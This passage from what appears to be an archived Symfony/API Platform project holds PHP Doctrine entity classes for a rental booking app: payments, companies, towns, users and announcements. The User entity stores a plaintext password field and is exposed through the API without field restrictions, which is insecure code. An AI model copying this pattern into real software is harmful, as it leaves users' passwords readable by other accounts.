$paymentAsBeenConfirmed): self { $this->paymentAsBeenConfirmed = $paymentAsBeenConfirmed; return $this; } public function getPaymentLink(): ?string { return $this->paymentLink; } public function setPaymentLink(?string $paymentLink): self { $this->paymentLink = $paymentLink; return $this; } public function getPaymentNotificationLink(): ?string { return $this->paymentNotificationLink; } public function setPaymentNotificationLink(?string $paymentNotificationLink): self { $this->paymentNotificationLink = $paymentNotificationLink; return $this; } } Entity/Payment.php 0000644 00000013121 15117152230 0010141 0 ustar 00 <?php namespace App\Entity; use ApiPlatform\Core\Annotation\ApiResource; use App\Repository\PaymentRepository; use Doctrine\ORM\Mapping as ORM; /** * @ApiResource() * @ORM\Entity(repositoryClass=PaymentRepository::class) */ class Payment { /** * @ORM\Id * @ORM\GeneratedValue * @ORM\Column(type="integer") */ private $id; /** * @ORM\ManyToOne(targetEntity=User::class, inversedBy="payments") */ private $user; /** * @ORM\Column(type="integer") */ private $amount; /** * @ORM\Column(type="integer", nullable=true) */ private $fees; /** * @ORM\Column(type="datetime_immutable") */ private $createdAt; /** * @ORM\Column(type="datetime_immutable", nullable=true) */ private $expireAt; /** * @ORM\OneToOne(targetEntity=BookingRoom::class, inversedBy="payment", cascade={"persist", "remove"}) * @ORM\JoinColumn(nullable=true) */ private $booking; /** * @ORM\Column(type="integer", nullable=true) */ private $discount; /** * @ORM\ManyToOne(targetEntity=PaymentOption::class, inversedBy="payments") * @ORM\JoinColumn(nullable=true) */ private $paymentOption; /** * @ORM\Column(type="string", length=1000, nullable=true) */ private $paymentToken; /** * @ORM\Column(type="string", length=1000, nullable=true) */ private $idReqDoh; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $rDvs; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $transactionRef; /** * @ORM\Column(type="datetime_immutable", nullable=true) */ private $updateAt; /** * @ORM\Column(type="integer", nullable=true) */ private $amountValidated; public function getId(): ?int { return $this->id; } public function getUser(): ?User { return $this->user; } public function setUser(?User $user): self { $this->user = $user; return $this; } public function getAmount(): ?int { return $this->amount; } public function setAmount(int $amount): self { $this->amount = $amount; return $this; } public function getFees(): ?int { return $this->fees; } public function setFees(?int $fees): self { $this->fees = $fees; return $this; } public function getCreatedAt(): ?\DateTimeImmutable { return $this->createdAt; } public function setCreatedAt(\DateTimeImmutable $createdAt): self { $this->createdAt = $createdAt; return $this; } public function getExpireAt(): ?\DateTimeImmutable { return $this->expireAt; } public function setExpireAt(\DateTimeImmutable $expireAt): self { $this->expireAt = $expireAt; return $this; } public function getBooking(): ?BookingRoom { return $this->booking; } public function setBooking(BookingRoom $booking): self { $this->booking = $booking; return $this; } public function getDiscount(): ?int { return $this->discount; } public function setDiscount(?int $discount): self { $this->discount = $discount; return $this; } public function __construct() { $this->createdAt = new \DateTimeImmutable( ); } public function __toString() { // TODO: Implement __toString() method. if(is_null($this)){ return "no payment"; } if(is_null($this->getPaymentOption())){ return $this->getUser()->getLastName()." ".number_format($this->getAmount(), 2, ',', ' ')." xaf"; }else{ return $this->getPaymentOption()->getPaymentName()." ".$this->getUser()->getLastName()." ".number_format($this->getAmount(), 2, ',', ' ')." xaf"; } } public function getPaymentOption(): ?PaymentOption { return $this->paymentOption; } public function setPaymentOption(?PaymentOption $paymentOption): self { $this->paymentOption = $paymentOption; return $this; } public function getPaymentToken(): ?string { return $this->paymentToken; } public function setPaymentToken(?string $paymentToken): self { $this->paymentToken = $paymentToken; return $this; } public function getIdReqDoh(): ?string { return $this->idReqDoh; } public function setIdReqDoh(?string $idReqDoh): self { $this->idReqDoh = $idReqDoh; return $this; } public function getRDvs(): ?string { return $this->rDvs; } public function setRDvs(?string $rDvs): self { $this->rDvs = $rDvs; return $this; } public function getTransactionRef(): ?string { return $this->transactionRef; } public function setTransactionRef(?string $transactionRef): self { $this->transactionRef = $transactionRef; return $this; } public function getUpdateAt(): ?\DateTimeImmutable { return $this->updateAt; } public function setUpdateAt(?\DateTimeImmutable $updateAt): self { $this->updateAt = $updateAt; return $this; } public function getAmountValidated(): ?int { return $this->amountValidated; } public function setAmountValidated(?int $amountValidated): self { $this->amountValidated = $amountValidated; return $this; } } Entity/Company.php 0000644 00000026252 15117152230 0010143 0 ustar 00 <?php namespace App\Entity; use App\Repository\CompanyRepository; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\Common\Collections\Collection; use Doctrine\ORM\Mapping as ORM; use ApiPlatform\Core\Annotation\ApiResource; use ApiPlatform\Core\Annotation\ApiProperty; /** * @ApiResource( * iri="http://schema.org/Company", * attributes={"security"="is_granted('ROLE_USER')"}, * collectionOperations={ * "get"={"security"="is_granted('ROLE_USER')" }, * "post"={"security"="is_granted('ROLE_ADMIN')"} * }, * itemOperations={ * "get"={"security"="is_granted('ROLE_USER')" }, * "put"={"security"="is_granted('ROLE_ADMIN')" }, * "delete"={"security"="is_granted('ROLE_ADMIN')" }, * }) * @ORM\Entity(repositoryClass=CompanyRepository::class) */ class Company { /** * @ORM\Id() * @ORM\GeneratedValue() * @ORM\Column(type="integer") */ private $id; /** * @ORM\OneToMany(targetEntity=Subscription::class, mappedBy="partner", orphanRemoval=true) */ private $subscriptions; /** * @ORM\Column(type="string", length=255) */ private $companyName; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $CompanyPhone1; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $companyPhone2; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $companyFixePhone; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $companyEmail; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $companyDomain; /** * @ORM\Column(type="text", length=2555, nullable=true) */ private $companyFacebookPage; /** * @ORM\Column(type="text", length=2555, nullable=true) */ private $companyInstagramPage; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $companyTwiterPage; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $companyLinkedinPage; /** * @ORM\Column(type="text", length=12555, nullable=true) */ private $CompanySlogan; /** * @ORM\Column(type="text", length=14055, nullable=true) */ private $companyShortDescription; /** * @ORM\Column(type="string", length=9000, nullable=true) */ private $companyFullDescription; /** * @ORM\OneToOne(targetEntity=MediaObject::class, cascade={"persist", "remove"}) * @ORM\JoinColumn(nullable=true) */ private $companyLogoMain; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $companyBP; /** * @ORM\OneToMany(targetEntity=Building::class, mappedBy="company", orphanRemoval=true) */ private $buildings; /** * @ORM\OneToOne(targetEntity=Address::class, cascade={"persist", "remove"}) * @ORM\JoinColumn(nullable=true) */ private $address; /** * @ORM\OneToMany(targetEntity=User::class, mappedBy="company") */ private $users; /** * @ORM\OneToMany(targetEntity=FirebaseToken::class, mappedBy="company") */ private $firebaseTokens; /** * @ORM\Column(type="integer", nullable=true) */ private $vues; public function __construct() { $this->buildings = new ArrayCollection(); $this->users = new ArrayCollection(); $this->subscriptions = new ArrayCollection(); $this->firebaseTokens = new ArrayCollection(); $this->vues=0; } public function getId(): ?int { return $this->id; } public function getCompanyName(): ?string { return $this->companyName; } public function setCompanyName(string $companyName): self { $this->companyName = $companyName; return $this; } public function getCompanyPhone1(): ?string { return $this->CompanyPhone1; } public function setCompanyPhone1(string $CompanyPhone1): self { $this->CompanyPhone1 = $CompanyPhone1; return $this; } public function getCompanyPhone2(): ?string { return $this->companyPhone2; } public function setCompanyPhone2(string $companyPhone2): self { $this->companyPhone2 = $companyPhone2; return $this; } public function getCompanyFixePhone(): ?string { return $this->companyFixePhone; } public function setCompanyFixePhone(string $companyFixePhone): self { $this->companyFixePhone = $companyFixePhone; return $this; } public function getCompanyEmail(): ?string { return $this->companyEmail; } public function setCompanyEmail(string $companyEmail): self { $this->companyEmail = $companyEmail; return $this; } public function getCompanyDomain(): ?string { return $this->companyDomain; } public function setCompanyDomain(string $companyDomain): self { $this->companyDomain = $companyDomain; return $this; } public function getCompanyFacebookPage(): ?string { return $this->companyFacebookPage; } public function setCompanyFacebookPage(string $companyFacebookPage): self { $this->companyFacebookPage = $companyFacebookPage; return $this; } public function getCompanyInstagramPage(): ?string { return $this->companyInstagramPage; } public function setCompanyInstagramPage(string $companyInstagramPage): self { $this->companyInstagramPage = $companyInstagramPage; return $this; } public function getCompanyTwiterPage(): ?string { return $this->companyTwiterPage; } public function setCompanyTwiterPage(string $companyTwiterPage): self { $this->companyTwiterPage = $companyTwiterPage; return $this; } public function getCompanyLinkedinPage(): ?string { return $this->companyLinkedinPage; } public function setCompanyLinkedinPage(string $companyLinkedinPage): self { $this->companyLinkedinPage = $companyLinkedinPage; return $this; } public function getCompanySlogan(): ?string { return $this->CompanySlogan; } public function setCompanySlogan(string $CompanySlogan): self { $this->CompanySlogan = $CompanySlogan; return $this; } public function getCompanyShortDescription(): ?string { return $this->companyShortDescription; } public function setCompanyShortDescription(string $companyShortDescription): self { $this->companyShortDescription = $companyShortDescription; return $this; } public function getCompanyFullDescription(): ?string { return $this->companyFullDescription; } public function setCompanyFullDescription(string $companyFullDescription): self { $this->companyFullDescription = $companyFullDescription; return $this; } public function getCompanyLogoMain(): ?MediaObject { return $this->companyLogoMain; } public function setCompanyLogoMain(?MediaObject $companyLogoMain): self { $this->companyLogoMain = $companyLogoMain; return $this; } public function getCompanyBP(): ?string { return $this->companyBP; } public function setCompanyBP(string $companyBP): self { $this->companyBP = $companyBP; return $this; } /** * @return Collection|Building[] */ public function getBuildings(): Collection { return $this->buildings; } public function addBuilding(Building $building): self { if (!$this->buildings->contains($building)) { $this->buildings[] = $building; $building->setCompany($this); } return $this; } public function removeBuilding(Building $building): self { if ($this->buildings->contains($building)) { $this->buildings->removeElement($building); // set the owning side to null (unless already changed) if ($building->getCompany() === $this) { $building->setCompany(null); } } return $this; } public function getAddress(): ?Address { return $this->address; } public function setAddress(Address $address): self { $this->address = $address; return $this; } /** * @return Collection|User[] */ public function getUsers(): Collection { return $this->users; } public function addUser(User $user): self { if (!$this->users->contains($user)) { $this->users[] = $user; $user->setCompany($this); } return $this; } public function removeUser(User $user): self { if ($this->users->contains($user)) { $this->users->removeElement($user); // set the owning side to null (unless already changed) if ($user->getCompany() === $this) { $user->setCompany(null); } } return $this; } /** * @return Collection|Subscription[] */ public function getSubscriptions(): Collection { return $this->subscriptions; } public function addSubscription(Subscription $subscription): self { if (!$this->subscriptions->contains($subscription)) { $this->subscriptions[] = $subscription; $subscription->setPartner($this); } return $this; } public function removeSubscription(Subscription $subscription): self { if ($this->subscriptions->contains($subscription)) { $this->subscriptions->removeElement($subscription); // set the owning side to null (unless already changed) if ($subscription->getPartner() === $this) { $subscription->setPartner(null); } } return $this; } public function __toString() { // TODO: Implement __toString() method. return $this->companyName; } /** * @return Collection<int, FirebaseToken> */ public function getFirebaseTokens(): Collection { return $this->firebaseTokens; } public function addFirebaseToken(FirebaseToken $firebaseToken): self { if (!$this->firebaseTokens->contains($firebaseToken)) { $this->firebaseTokens[] = $firebaseToken; $firebaseToken->setCompany($this); } return $this; } public function removeFirebaseToken(FirebaseToken $firebaseToken): self { if ($this->firebaseTokens->removeElement($firebaseToken)) { // set the owning side to null (unless already changed) if ($firebaseToken->getCompany() === $this) { $firebaseToken->setCompany(null); } } return $this; } public function getVues(): ?int { return $this->vues; } public function setVues(?int $vues): self { $this->vues = $vues; return $this; } } Entity/Town.php 0000644 00000007762 15117152230 0007471 0 ustar 00 <?php namespace App\Entity; use ApiPlatform\Core\Annotation\ApiResource; use App\Repository\TownRepository; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\Common\Collections\Collection; use Doctrine\ORM\Mapping as ORM; /** * @ApiResource() * @ORM\Entity(repositoryClass=TownRepository::class) */ class Town { /** * @ORM\Id() * @ORM\GeneratedValue() * @ORM\Column(type="integer") */ private $id; /** * @ORM\Column(type="string", length=255) */ private $town_name; /** * @ORM\ManyToOne(targetEntity=Country::class, inversedBy="towns") */ private $country; /** * @ORM\Column(type="datetime", nullable=true) */ private $createdAt; /** * @ORM\OneToOne(targetEntity=MediaObject::class, cascade={"persist", "remove"}) */ private $picture; /** * @ORM\Column(type="boolean", nullable=true) */ private $isCapital; /** * @ORM\Column(type="integer", nullable=true) */ private $population; /** * @ORM\Column(type="decimal", precision=30, scale=10) */ private $latitude; /** * @ORM\Column(type="decimal", precision=30, scale=10, nullable=true) */ private $longitude; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $region; /** * @ORM\Column(type="integer", nullable=true) */ private $vues; public function __construct() { $this->createdAt = new \DateTime( ); $this->vues=0; } public function getId(): ?int { return $this->id; } public function setId($id): self { $this->id=$id; return $this; } public function getTownName(): ?string { return $this->town_name; } public function setTownName(string $town_name): self { $this->town_name = $town_name; return $this; } public function getCountry(): ?Country { return $this->country; } public function setCountry(?Country $country): self { $this->country = $country; return $this; } public function getCreatedAt(): ?\DateTimeInterface { return $this->createdAt; } public function setCreatedAt(\DateTimeInterface $createdAt): self { $this->createdAt = $createdAt; return $this; } public function getPicture(): ?MediaObject { return $this->picture; } public function setPicture(?MediaObject $picture): self { $this->picture = $picture; return $this; } public function getIsCapital(): ?bool { return $this->isCapital; } public function setIsCapital(?bool $isCapital): self { $this->isCapital = $isCapital; return $this; } public function getPopulation(): ?int { return $this->population; } public function setPopulation(?int $population): self { $this->population = $population; return $this; } public function getLatitude(): ?string { return $this->latitude; } public function setLatitude(string $latitude): self { $this->latitude = $latitude; return $this; } public function getLongitude(): ?string { return $this->longitude; } public function setLongitude(?string $longitude): self { $this->longitude = $longitude; return $this; } public function getRegion(): ?string { return $this->region; } public function setRegion(?string $region): self { $this->region = $region; return $this; } public function __toString() { // TODO: Implement __toString() method. return $this->town_name." - ".$this->getCountry()->getCountryName(); } public function getVues(): ?int { return $this->vues; } public function setVues(?int $vues): self { $this->vues = $vues; return $this; } } Entity/User.php 0000644 00000044462 15117152230 0007456 0 ustar 00 <?php namespace App\Entity; use App\Repository\UserRepository; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\Common\Collections\Collection; use Doctrine\ORM\Mapping as ORM; use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity; use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface; use Symfony\Component\Security\Core\User\UserInterface; use ApiPlatform\Core\Annotation\ApiResource; use ApiPlatform\Core\Annotation\ApiProperty; use ApiPlatform\Core\Annotation\ApiFilter; use ApiPlatform\Core\Bridge\Doctrine\Orm\Filter\RangeFilter; use ApiPlatform\Core\Bridge\Doctrine\Orm\Filter\SearchFilter; use ApiPlatform\Core\Bridge\Doctrine\Orm\Filter\OrderFilter; use Symfony\Component\Serializer\Annotation\Groups; /** * @ApiResource( * iri="http://schema.org/User", * attributes={"security"="is_granted('ROLE_USER')"}, * collectionOperations={ * "get", * "post"={"security"="is_granted('ROLE_USER')"} * }, * itemOperations={ * "get", * "put"={"security"="is_granted('ROLE_USER')" }, * "delete"={"security"="is_granted('ROLE_ADMIN')" }, * }) * @ORM\Entity(repositoryClass=UserRepository::class) * @ApiFilter(SearchFilter::class, * properties={ * "username": "exact", * }) * @UniqueEntity(fields={"email"}, message="There is already an account with this email") */ class User implements UserInterface, \Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface { const ROLE_DEFAULT = "ROLE_USER"; const ROLE_SUPER_ADMIN = "ROLE_SUPER_ADMIN"; /** * @ORM\Id * @ORM\Column(type="integer") * @ORM\GeneratedValue(strategy="AUTO") */ public $id; /** * @var MediaObject|null * * @ORM\ManyToOne(targetEntity=MediaObject::class) * @ORM\JoinColumn(nullable=true) * @Groups({"media_object_read"}) * @ApiProperty(iri="http://schema.org/image") */ public $userPicture; /** * @ORM\Column(type="string", length=255, nullable=true) */ public $lastName; /** * @ORM\Column(type="string", length=255, nullable=true) */ public $firstName; /** * @ORM\Column(type="string", length=255, nullable=true) */ public $phoneNumber; /** * @ORM\OneToMany(targetEntity=Contact::class, mappedBy="threatBy") */ private $contacts; /** * @ORM\OneToMany(targetEntity=Logs::class, mappedBy="user") */ private $logs; /** * @ORM\OneToMany(targetEntity=Subscription::class, mappedBy="createdBy", orphanRemoval=true) */ private $subscriptions; /** * @ORM\ManyToOne(targetEntity=Company::class, inversedBy="users") */ private $company; /** * @ORM\ManyToOne(targetEntity=Address::class) */ private $address; /** * @ORM\Column(type="string", length=500, unique=true) */ private $email; /** * @ORM\Column(type="string", length=500) */ private $password; /** * @ORM\Column(type="array") */ private $roles = []; /** * @ORM\Column(type="boolean", nullable=true) */ private $active; /** * @ORM\Column(type="string", length=500, nullable=true) */ private $salt; /** * @ORM\Column(type="string", length=500, nullable=true) */ private $emailCanonical; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $plainPassword; /** * @ORM\Column(type="string", length=500, nullable=true) */ private $confirmationToken; /** * @ORM\Column(type="datetime_immutable", nullable=true) */ private $passwordRequestedAt; /** * @ORM\Column(type="string", length=255, unique=true) */ private $username; /** * @ORM\Column(type="datetime_immutable", nullable=true) */ private $lastLogin; /** * @ORM\Column(type="boolean", nullable=true) */ private $enabled; /** * @ORM\Column(type="string", length=255, nullable=true) */ private $usernameCanonical; /** * @ORM\Column(type="boolean") */ private $isVerified = false; /** * @ORM\Column(type="string", length=255) */ private $local; /** * @ORM\Column(type="integer", nullable=true) */ private $loginInCount; /** * @ORM\OneToMany(targetEntity=BookingRoom::class, mappedBy="user") */ private $bookingRooms; /** * @ORM\OneToMany(targetEntity=Payment::class, mappedBy="user") */ private $payments; /** * @ORM\Column(type="string", length=1000, nullable=true) */ private $resendMail; /** * @ORM\Column(type="datetime_immutable", nullable=true) */ private $createdAt; /** * @ORM\Column(type="datetime_immutable", nullable=true) */ private $updateAt; /** * @ORM\OneToMany(targetEntity=AnnounceChat::class, mappedBy="sendBy", orphanRemoval=true) */ private $announceChats; /** * @ORM\OneToMany(targetEntity=AnnounceChannel::class, mappedBy="createdBy") */ private $announceChannels; public function __construct() { $this->createdAt= new \DateTimeImmutable(); $this->customers = new ArrayCollection(); $this->contacts = new ArrayCollection(); $this->logs = new ArrayCollection(); $this->subscriptions = new ArrayCollection(); $this->enabled = false; $this->roles = []; $this->bookingRooms = new ArrayCollection(); $this->payments = new ArrayCollection(); $this->local="fr"; $this->announceChats = new ArrayCollection(); $this->announceChannels = new ArrayCollection(); } public function getLastName(): ?string { return $this->lastName; } public function setId(?int $id){ $this->id=$id; } public function setLastName(?string $lastName): self { $this->lastName = $lastName; return $this; } public function getFirstName(): ?string { return $this->firstName; } public function setFirstName(?string $firstName): self { $this->firstName = $firstName; return $this; } public function getPhoneNumber(): ?string { return $this->phoneNumber; } public function setPhoneNumber(?string $phoneNumber): self { $this->phoneNumber = $phoneNumber; return $this; } /** * @return Collection|Contact[] */ public function getContacts(): Collection { return $this->contacts; } /** * @return Collection|Logs[] */ public function getLogs(): Collection { return $this->logs; } public function addContact(Contact $contact): self { if (!$this->contacts->contains($contact)) { $this->contacts[] = $contact; $contact->setThreatBy($this); } return $this; } public function addLogs(Logs $logs): self { if (!$this->logs->contains($logs)) { $this->logs[] = $logs; $logs->setUser($this); } return $this; } public function removeContact(Contact $contact): self { if ($this->contacts->contains($contact)) { $this->contacts->removeElement($contact); // set the owning side to null (unless already changed) if ($contact->getThreatBy() === $this) { $contact->setThreatBy(null); } } return $this; } public function removeLogs(Logs $logs): self { if ($this->logs->contains($logs)) { $this->logs->removeElement($logs); // set the owning side to null (unless already changed) if ($logs->getUser() === $this) { $logs->setUser(null); } } return $this; } /** * @return Collection|Subscription[] */ public function getSubscriptions(): Collection { return $this->subscriptions; } public function addSubscription(Subscription $subscription): self { if (!$this->subscriptions->contains($subscription)) { $this->subscriptions[] = $subscription; $subscription->setCreatedBy($this); } return $this; } public function removeSubscription(Subscription $subscription): self { if ($this->subscriptions->contains($subscription)) { $this->subscriptions->removeElement($subscription); // set the owning side to null (unless already changed) if ($subscription->getCreatedBy() === $this) { $subscription->setCreatedBy(null); } } return $this; } public function getCompany(): ?Company { return $this->company; } public function setCompany(?Company $company): self { $this->company = $company; return $this; } public function getAddress(): ?Address { return $this->address; } public function setAddress(?Address $address): self { $this->address = $address; return $this; } public function getEmail(): ?string { return $this->email; } public function setEmail(string $email): self { $this->email = $email; return $this; } public function getPassword(): ?string { return $this->password; } public function setPassword(string $password): self { $this->password = $password; return $this; } public function getRoles(): array { $roles = $this->roles; // we need to make sure to have at least one role $roles[] = static::ROLE_DEFAULT; return array_values(array_unique($roles)); } public function setRoles(array $roles): self { $this->roles = $roles; return $this; } public function isActive(): ?bool { return $this->active; } public function setActive(bool $active): self { $this->active = $active; return $this; } public function getSalt(): ?string { return $this->salt; } public function setSalt(?string $salt): self { $this->salt = $salt; return $this; } public function getEmailCanonical(): ?string { return $this->emailCanonical; } public function setEmailCanonical(string $emailCanonical): self { $this->emailCanonical = $emailCanonical; return $this; } public function getPlainPassword(): ?string { return $this->plainPassword; } public function setPlainPassword(string $plainPassword): self { $this->plainPassword = $plainPassword; return $this; } public function getConfirmationToken(): ?string { return $this->confirmationToken; } public function setConfirmationToken(string $confirmationToken): self { $this->confirmationToken = $confirmationToken; return $this; } public function getPasswordRequestedAt(): ?\DateTimeImmutable { return $this->passwordRequestedAt; } public function setPasswordRequestedAt(\DateTimeImmutable $passwordRequestedAt): self { $this->passwordRequestedAt = $passwordRequestedAt; return $this; } public function getUsername(): ?string { return $this->username; } public function setUsername(string $username): self { $this->username = $username; return $this; } public function eraseCredentials() { // TODO: Implement eraseCredentials() method. $this->plainPassword = null; } public function getUserIdentifier(): string { return $this->username; } public function addRole($role) { $role = strtoupper($role); if ($role === static::ROLE_DEFAULT) { return $this; } if (!in_array($role, $this->roles, true)) { $this->roles[] = $role; } return $this; } public function isEnabled() { return $this->enabled; } /** * {@inheritdoc} */ public function isSuperAdmin() { return $this->hasRole(static::ROLE_SUPER_ADMIN); } public function hasRole($role) { return in_array(strtoupper($role), $this->getRoles(), true); } public function removeRole($role) { if (false !== $key = array_search(strtoupper($role), $this->roles, true)) { unset($this->roles[$key]); $this->roles = array_values($this->roles); } return $this; } public function setSuperAdmin($boolean) { if (true === $boolean) { $this->addRole(static::ROLE_SUPER_ADMIN); } else { $this->removeRole(static::ROLE_SUPER_ADMIN); } return $this; } public function setLastLogin(\DateTimeImmutable $time = null) { $this->lastLogin = $time; return $this; } public function getLastLogin(): ?\DateTimeImmutable { return $this->lastLogin; } public function isPasswordRequestNonExpired($ttl) { return $this->getPasswordRequestedAt() instanceof \DateTime && $this->getPasswordRequestedAt()->getTimestamp() + $ttl > time(); } public function setEnabled(bool $enabled): self { $this->enabled = $enabled; return $this; } public function getId(){ return $this->id; } public function getUsernameCanonical(): ?string { return $this->usernameCanonical; } public function setUsernameCanonical(string $usernameCanonical): self { $this->usernameCanonical = $usernameCanonical; return $this; } public function isVerified(): bool { return $this->isVerified; } public function setIsVerified(bool $isVerified): self { $this->isVerified = $isVerified; return $this; } public function __toString() { // TODO: Implement __toString() method. return $this->lastName." ".$this->firstName; } public function getLocal(): ?string { return $this->local; } public function setLocal(string $local): self { $this->local = $local; return $this; } public function getLoginInCount(): ?int { return $this->loginInCount; } public function setLoginInCount(?int $loginInCount): self { $this->loginInCount = $loginInCount; return $this; } /** * @return Collection<int, BookingRoom> */ public function getBookingRooms(): Collection { return $this->bookingRooms; } public function addBookingRoom(BookingRoom $bookingRoom): self { if (!$this->bookingRooms->contains($bookingRoom)) { $this->bookingRooms[] = $bookingRoom; $bookingRoom->setUser($this); } return $this; } public function removeBookingRoom(BookingRoom $bookingRoom): self { if ($this->bookingRooms->removeElement($bookingRoom)) { // set the owning side to null (unless already changed) if ($bookingRoom->getUser() === $this) { $bookingRoom->setUser(null); } } return $this; } /** * @return Collection<int, Payment> */ public function getPayments(): Collection { return $this->payments; } public function addPayment(Payment $payment): self { if (!$this->payments->contains($payment)) { $this->payments[] = $payment; $payment->setUser($this); } return $this; } public function removePayment(Payment $payment): self { if ($this->payments->removeElement($payment)) { // set the owning side to null (unless already changed) if ($payment->getUser() === $this) { $payment->setUser(null); } } return $this; } public function getResendMail(): ?string { return $this->resendMail; } public function setResendMail(?string $resendMail): self { $this->resendMail = $resendMail; return $this; } public function getCreatedAt(): ?\DateTimeImmutable { return $this->createdAt; } public function setCreatedAt(\DateTimeImmutable $createdAt): self { $this->createdAt = $createdAt; return $this; } public function getUpdateAt(): ?\DateTimeImmutable { return $this->updateAt; } public function setUpdateAt(\DateTimeImmutable $updateAt): self { $this->updateAt = $updateAt; return $this; } /** * @return Collection<int, AnnounceChat> */ public function getAnnounceChats(): Collection { return $this->announceChats; } public function addAnnounceChat(AnnounceChat $announceChat): self { if (!$this->announceChats->contains($announceChat)) { $this->announceChats[] = $announceChat; $announceChat->setSendBy($this); } return $this; } public function removeAnnounceChat(AnnounceChat $announceChat): self { if ($this->announceChats->removeElement($announceChat)) { // set the owning side to null (unless already changed) if ($announceChat->getSendBy() === $this) { $announceChat->setSendBy(null); } } return $this; } /** * @return Collection<int, AnnounceChannel> */ public function getAnnounceChannels(): Collection { return $this->announceChannels; } public function addAnnounceChannel(AnnounceChannel $announceChannel): self { if (!$this->announceChannels->contains($announceChannel)) { $this->announceChannels[] = $announceChannel; $announceChannel->setCreatedBy($this); } return $this; } public function removeAnnounceChannel(AnnounceChannel $announceChannel): self { if ($this->announceChannels->removeElement($announceChannel)) { // set the owning side to null (unless already changed) if ($announceChannel->getCreatedBy() === $this) { $announceChannel->setCreatedBy(null); } } return $this; } } Entity/Announce.php 0000644 00000015412 15117152230 0010277 0 ustar 00 <?php namespace App\Entity; use App\Repository\AnnounceRepository; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\Common\Collections\Collection; use Doctrine\ORM\Mapping as ORM; use ApiPlatform\Core\Annotation\ApiResource; /** * @ApiResource() * @ORM\Entity(repositoryClass=AnnounceRepository::class) */ class Announce { /** * @ORM\Id() * @ORM\GeneratedValue() * @ORM\Column(type="integer") */ private $id; /** * @ORM\Column(type="string", length=1000) */ private $titleFr; /** * @ORM\Column(type="string", length=1000) */ private $titleEn; /** * @ORM\Column(type="string", length=255) */ private $locationType; /** * @ORM\Column(type="integer") */ private $amount; /** * @ORM\ManyToOne(targetEntity=BuildingType::class) * @ORM\JoinColumn(nullable=false) */ private $type; /** * @ORM\ManyToOne(targetEntity=Address::class) * @ORM\JoinColumn(nullable=false) */ private $address; /** * @ORM\Column(type="integer") */ private $numberOfPiece; /** * @ORM\Column(type="integer") */ private $area; /** * @ORM\Column(type="string", length=3000) */ private $description; /** * @ORM\ManyToOne(targetEntity=MediaObject::class) * @ORM\JoinColumn(nullable=false) */ private $picture; /** * @ORM\ManyToOne(targetEntity=MediaObject::class) */ private $cover; /** * @ORM\Column(type="datetime",nullable=true) */ private $createdAt; /** * @ORM\Column(type="datetime",nullable=true) */ private $expiredAt; /** * @ORM\ManyToOne(targetEntity=User::class) * @ORM\JoinColumn(nullable=false) */ private $createdBy; /** * @ORM\Column(type="integer", nullable=true) */ private $vues; /** * @ORM\OneToMany(targetEntity=AnnounceChannel::class, mappedBy="announce") */ private $announceChannels; /** * @ORM\Column(type="text", nullable=true) */ private $descriptionEn; public function getId(): ?int { return $this->id; } public function __construct() { $this->createdAt = new \DateTime( ); $this->announceChannels = new ArrayCollection(); $this->vues=0; } public function getTitleFr(): ?string { return $this->titleFr; } public function setTitleFr(string $titleFr): self { $this->titleFr = $titleFr; return $this; } public function getTitleEn(): ?string { return $this->titleEn; } public function setTitleEn(string $titleEn): self { $this->titleEn = $titleEn; return $this; } public function getLocationType(): ?string { return $this->locationType; } public function setLocationType(string $locationType): self { $this->locationType = $locationType; return $this; } public function getAmount(): ?int { return $this->amount; } public function setAmount(int $amount): self { $this->amount = $amount; return $this; } public function getType(): ?BuildingType { return $this->type; } public function setType(?BuildingType $type): self { $this->type = $type; return $this; } public function getAddress(): ?Address { return $this->address; } public function setAddress(?Address $address): self { $this->address = $address; return $this; } public function getNumberOfPiece(): ?int { return $this->numberOfPiece; } public function setNumberOfPiece(int $numberOfPiece): self { $this->numberOfPiece = $numberOfPiece; return $this; } public function getArea(): ?int { return $this->area; } public function setArea(int $area): self { $this->area = $area; return $this; } public function getDescription(): ?string { return $this->description; } public function setDescription(string $description): self { $this->description = $description; return $this; } public function getPicture(): ?MediaObject { return $this->picture; } public function setPicture(?MediaObject $picture): self { $this->picture = $picture; return $this; } public function getCover(): ?MediaObject { return $this->cover; } public function setCover(?MediaObject $cover): self { $this->cover = $cover; return $this; } public function getCreatedAt(): ?\DateTimeInterface { return $this->createdAt; } public function setCreatedAt(\DateTimeInterface $createdAt): self { $this->createdAt = $createdAt; return $this; } public function getExpiredAt(): ?\DateTimeInterface { return $this->expiredAt; } public function setExpiredAt(\DateTimeInterface $expiredAt): self { $this->expiredAt = $expiredAt; return $this; } public function getCreatedBy(): ?User { return $this->createdBy; } public function setCreatedBy(?User $createdBy): self { $this->createdBy = $createdBy; return $this; } public function __toString() { // TODO: Implement __toString() method. return "(".$this->id.")". $this->titleEn; } public function getVues(): ?int { return $this->vues; } public function setVues(?int $vues): self { $this->vues = $vues; return $this; } /** * @return Collection<int, AnnounceChannel> */ public function getAnnounceChannels(): Collection { return $this->announceChannels; } public function addAnnounceChannel(AnnounceChannel $announceChannel): self { if (!$this->announceChannels->contains($announceChannel)) { $this->announceChannels[] = $announceChannel; $announceChannel->setAnnounce($this); } return $this; } public function removeAnnounceChannel(AnnounceChannel $announceChannel): self { if ($this->announceChannels->removeElement($announceChannel)) { // set the owning side to null (unless already changed) if ($announceChannel->getAnnounce() === $this) { $announceChannel->setAnnounce(null); } } return $this; } public function getDescriptionEn(): ?string { return $this->descriptionEn; } public function setDescriptionEn(?string $descriptionEn): self { $this->descriptionEn = $descriptionEn; return $this; } } Entity/AnnounceChannel.php 0000644 00000005667 15117152230 0011603 0 